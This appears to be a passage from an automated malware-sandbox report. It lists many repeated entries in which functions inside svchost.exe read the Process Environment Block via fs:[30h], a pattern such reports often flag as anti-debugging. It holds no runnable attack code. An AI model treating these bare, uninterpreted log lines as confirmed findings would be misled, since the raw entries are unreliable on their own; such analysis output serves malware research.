Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB0283 mov eax, dword ptr fs:[00000030h]	2_2_02FB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB0283 mov eax, dword ptr fs:[00000030h]	2_2_02FB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]	2_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]	2_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]	2_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]	2_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]	2_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]	2_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]	2_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]	2_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]	2_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]	2_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]	2_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]	2_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F34260 mov eax, dword ptr fs:[00000030h]	2_2_02F34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F34260 mov eax, dword ptr fs:[00000030h]	2_2_02F34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F34260 mov eax, dword ptr fs:[00000030h]	2_2_02F34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2826B mov eax, dword ptr fs:[00000030h]	2_2_02F2826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2A250 mov eax, dword ptr fs:[00000030h]	2_2_02F2A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F36259 mov eax, dword ptr fs:[00000030h]	2_2_02F36259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB8243 mov eax, dword ptr fs:[00000030h]	2_2_02FB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB8243 mov ecx, dword ptr fs:[00000030h]	2_2_02FB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2823B mov eax, dword ptr fs:[00000030h]	2_2_02F2823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_02F4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_02F4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_02F4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F663FF mov eax, dword ptr fs:[00000030h]	2_2_02F663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F403E9 mov eax, dword ptr fs:[00000030h]	2_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F403E9 mov eax, dword ptr fs:[00000030h]	2_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F403E9 mov eax, dword ptr fs:[00000030h]	2_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F403E9 mov eax, dword ptr fs:[00000030h]	2_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F403E9 mov eax, dword ptr fs:[00000030h]	2_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F403E9 mov eax, dword ptr fs:[00000030h]	2_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F403E9 mov eax, dword ptr fs:[00000030h]	2_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F403E9 mov eax, dword ptr fs:[00000030h]	2_2_02F403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDE3DB mov eax, dword ptr fs:[00000030h]	2_2_02FDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDE3DB mov eax, dword ptr fs:[00000030h]	2_2_02FDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDE3DB mov ecx, dword ptr fs:[00000030h]	2_2_02FDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDE3DB mov eax, dword ptr fs:[00000030h]	2_2_02FDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD43D4 mov eax, dword ptr fs:[00000030h]	2_2_02FD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD43D4 mov eax, dword ptr fs:[00000030h]	2_2_02FD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FEC3CD mov eax, dword ptr fs:[00000030h]	2_2_02FEC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F383C0 mov eax, dword ptr fs:[00000030h]	2_2_02F383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F383C0 mov eax, dword ptr fs:[00000030h]	2_2_02F383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F383C0 mov eax, dword ptr fs:[00000030h]	2_2_02F383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F383C0 mov eax, dword ptr fs:[00000030h]	2_2_02F383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB63C0 mov eax, dword ptr fs:[00000030h]	2_2_02FB63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F28397 mov eax, dword ptr fs:[00000030h]	2_2_02F28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F28397 mov eax, dword ptr fs:[00000030h]	2_2_02F28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F28397 mov eax, dword ptr fs:[00000030h]	2_2_02F28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2E388 mov eax, dword ptr fs:[00000030h]	2_2_02F2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2E388 mov eax, dword ptr fs:[00000030h]	2_2_02F2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2E388 mov eax, dword ptr fs:[00000030h]	2_2_02F2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5438F mov eax, dword ptr fs:[00000030h]	2_2_02F5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5438F mov eax, dword ptr fs:[00000030h]	2_2_02F5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD437C mov eax, dword ptr fs:[00000030h]	2_2_02FD437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB035C mov eax, dword ptr fs:[00000030h]	2_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB035C mov eax, dword ptr fs:[00000030h]	2_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB035C mov eax, dword ptr fs:[00000030h]	2_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB035C mov ecx, dword ptr fs:[00000030h]	2_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB035C mov eax, dword ptr fs:[00000030h]	2_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB035C mov eax, dword ptr fs:[00000030h]	2_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFA352 mov eax, dword ptr fs:[00000030h]	2_2_02FFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD8350 mov ecx, dword ptr fs:[00000030h]	2_2_02FD8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]	2_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]	2_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]	2_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]	2_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]	2_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]	2_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]	2_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]	2_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]	2_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]	2_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]	2_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]	2_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]	2_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]	2_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB2349 mov eax, dword ptr fs:[00000030h]	2_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2C310 mov ecx, dword ptr fs:[00000030h]	2_2_02F2C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F50310 mov ecx, dword ptr fs:[00000030h]	2_2_02F50310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6A30B mov eax, dword ptr fs:[00000030h]	2_2_02F6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6A30B mov eax, dword ptr fs:[00000030h]	2_2_02F6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6A30B mov eax, dword ptr fs:[00000030h]	2_2_02F6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2C0F0 mov eax, dword ptr fs:[00000030h]	2_2_02F2C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F720F0 mov ecx, dword ptr fs:[00000030h]	2_2_02F720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_02F2A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F380E9 mov eax, dword ptr fs:[00000030h]	2_2_02F380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB60E0 mov eax, dword ptr fs:[00000030h]	2_2_02FB60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB20DE mov eax, dword ptr fs:[00000030h]	2_2_02FB20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF60B8 mov eax, dword ptr fs:[00000030h]	2_2_02FF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF60B8 mov ecx, dword ptr fs:[00000030h]	2_2_02FF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC80A8 mov eax, dword ptr fs:[00000030h]	2_2_02FC80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3208A mov eax, dword ptr fs:[00000030h]	2_2_02F3208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5C073 mov eax, dword ptr fs:[00000030h]	2_2_02F5C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F32050 mov eax, dword ptr fs:[00000030h]	2_2_02F32050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB6050 mov eax, dword ptr fs:[00000030h]	2_2_02FB6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC6030 mov eax, dword ptr fs:[00000030h]	2_2_02FC6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2A020 mov eax, dword ptr fs:[00000030h]	2_2_02F2A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2C020 mov eax, dword ptr fs:[00000030h]	2_2_02F2C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4E016 mov eax, dword ptr fs:[00000030h]	2_2_02F4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4E016 mov eax, dword ptr fs:[00000030h]	2_2_02F4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4E016 mov eax, dword ptr fs:[00000030h]	2_2_02F4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4E016 mov eax, dword ptr fs:[00000030h]	2_2_02F4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030061E5 mov eax, dword ptr fs:[00000030h]	2_2_030061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB4000 mov ecx, dword ptr fs:[00000030h]	2_2_02FB4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD2000 mov eax, dword ptr fs:[00000030h]	2_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD2000 mov eax, dword ptr fs:[00000030h]	2_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD2000 mov eax, dword ptr fs:[00000030h]	2_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD2000 mov eax, dword ptr fs:[00000030h]	2_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD2000 mov eax, dword ptr fs:[00000030h]	2_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD2000 mov eax, dword ptr fs:[00000030h]	2_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD2000 mov eax, dword ptr fs:[00000030h]	2_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD2000 mov eax, dword ptr fs:[00000030h]	2_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F601F8 mov eax, dword ptr fs:[00000030h]	2_2_02F601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_02FAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_02FAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_02FAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_02FAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_02FAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF61C3 mov eax, dword ptr fs:[00000030h]	2_2_02FF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF61C3 mov eax, dword ptr fs:[00000030h]	2_2_02FF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB019F mov eax, dword ptr fs:[00000030h]	2_2_02FB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB019F mov eax, dword ptr fs:[00000030h]	2_2_02FB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB019F mov eax, dword ptr fs:[00000030h]	2_2_02FB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB019F mov eax, dword ptr fs:[00000030h]	2_2_02FB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2A197 mov eax, dword ptr fs:[00000030h]	2_2_02F2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2A197 mov eax, dword ptr fs:[00000030h]	2_2_02F2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2A197 mov eax, dword ptr fs:[00000030h]	2_2_02F2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F70185 mov eax, dword ptr fs:[00000030h]	2_2_02F70185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FEC188 mov eax, dword ptr fs:[00000030h]	2_2_02FEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FEC188 mov eax, dword ptr fs:[00000030h]	2_2_02FEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD4180 mov eax, dword ptr fs:[00000030h]	2_2_02FD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD4180 mov eax, dword ptr fs:[00000030h]	2_2_02FD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2C156 mov eax, dword ptr fs:[00000030h]	2_2_02F2C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC8158 mov eax, dword ptr fs:[00000030h]	2_2_02FC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F36154 mov eax, dword ptr fs:[00000030h]	2_2_02F36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F36154 mov eax, dword ptr fs:[00000030h]	2_2_02F36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC4144 mov eax, dword ptr fs:[00000030h]	2_2_02FC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC4144 mov eax, dword ptr fs:[00000030h]	2_2_02FC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC4144 mov ecx, dword ptr fs:[00000030h]	2_2_02FC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC4144 mov eax, dword ptr fs:[00000030h]	2_2_02FC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC4144 mov eax, dword ptr fs:[00000030h]	2_2_02FC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F60124 mov eax, dword ptr fs:[00000030h]	2_2_02F60124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDA118 mov ecx, dword ptr fs:[00000030h]	2_2_02FDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDA118 mov eax, dword ptr fs:[00000030h]	2_2_02FDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDA118 mov eax, dword ptr fs:[00000030h]	2_2_02FDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDA118 mov eax, dword ptr fs:[00000030h]	2_2_02FDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF0115 mov eax, dword ptr fs:[00000030h]	2_2_02FF0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDE10E mov eax, dword ptr fs:[00000030h]	2_2_02FDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDE10E mov ecx, dword ptr fs:[00000030h]	2_2_02FDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDE10E mov eax, dword ptr fs:[00000030h]	2_2_02FDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDE10E mov eax, dword ptr fs:[00000030h]	2_2_02FDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDE10E mov ecx, dword ptr fs:[00000030h]	2_2_02FDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDE10E mov eax, dword ptr fs:[00000030h]	2_2_02FDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDE10E mov eax, dword ptr fs:[00000030h]	2_2_02FDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDE10E mov ecx, dword ptr fs:[00000030h]	2_2_02FDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDE10E mov eax, dword ptr fs:[00000030h]	2_2_02FDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDE10E mov ecx, dword ptr fs:[00000030h]	2_2_02FDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_02FAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_02FAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_02FAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_02FAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB06F1 mov eax, dword ptr fs:[00000030h]	2_2_02FB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB06F1 mov eax, dword ptr fs:[00000030h]	2_2_02FB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_02F6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6A6C7 mov eax, dword ptr fs:[00000030h]	2_2_02F6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F666B0 mov eax, dword ptr fs:[00000030h]	2_2_02F666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6C6A6 mov eax, dword ptr fs:[00000030h]	2_2_02F6C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F34690 mov eax, dword ptr fs:[00000030h]	2_2_02F34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F34690 mov eax, dword ptr fs:[00000030h]	2_2_02F34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F62674 mov eax, dword ptr fs:[00000030h]	2_2_02F62674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF866E mov eax, dword ptr fs:[00000030h]	2_2_02FF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF866E mov eax, dword ptr fs:[00000030h]	2_2_02FF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6A660 mov eax, dword ptr fs:[00000030h]	2_2_02F6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6A660 mov eax, dword ptr fs:[00000030h]	2_2_02F6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4C640 mov eax, dword ptr fs:[00000030h]	2_2_02F4C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4E627 mov eax, dword ptr fs:[00000030h]	2_2_02F4E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F66620 mov eax, dword ptr fs:[00000030h]	2_2_02F66620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F68620 mov eax, dword ptr fs:[00000030h]	2_2_02F68620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3262C mov eax, dword ptr fs:[00000030h]	2_2_02F3262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72619 mov eax, dword ptr fs:[00000030h]	2_2_02F72619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE609 mov eax, dword ptr fs:[00000030h]	2_2_02FAE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4260B mov eax, dword ptr fs:[00000030h]	2_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4260B mov eax, dword ptr fs:[00000030h]	2_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4260B mov eax, dword ptr fs:[00000030h]	2_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4260B mov eax, dword ptr fs:[00000030h]	2_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4260B mov eax, dword ptr fs:[00000030h]	2_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4260B mov eax, dword ptr fs:[00000030h]	2_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4260B mov eax, dword ptr fs:[00000030h]	2_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F347FB mov eax, dword ptr fs:[00000030h]	2_2_02F347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F347FB mov eax, dword ptr fs:[00000030h]	2_2_02F347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F527ED mov eax, dword ptr fs:[00000030h]	2_2_02F527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F527ED mov eax, dword ptr fs:[00000030h]	2_2_02F527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F527ED mov eax, dword ptr fs:[00000030h]	2_2_02F527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBE7E1 mov eax, dword ptr fs:[00000030h]	2_2_02FBE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3C7C0 mov eax, dword ptr fs:[00000030h]	2_2_02F3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB07C3 mov eax, dword ptr fs:[00000030h]	2_2_02FB07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F307AF mov eax, dword ptr fs:[00000030h]	2_2_02F307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE47A0 mov eax, dword ptr fs:[00000030h]	2_2_02FE47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD678E mov eax, dword ptr fs:[00000030h]	2_2_02FD678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F38770 mov eax, dword ptr fs:[00000030h]	2_2_02F38770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]	2_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]	2_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]	2_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]	2_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]	2_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]	2_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]	2_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]	2_2_02F40770
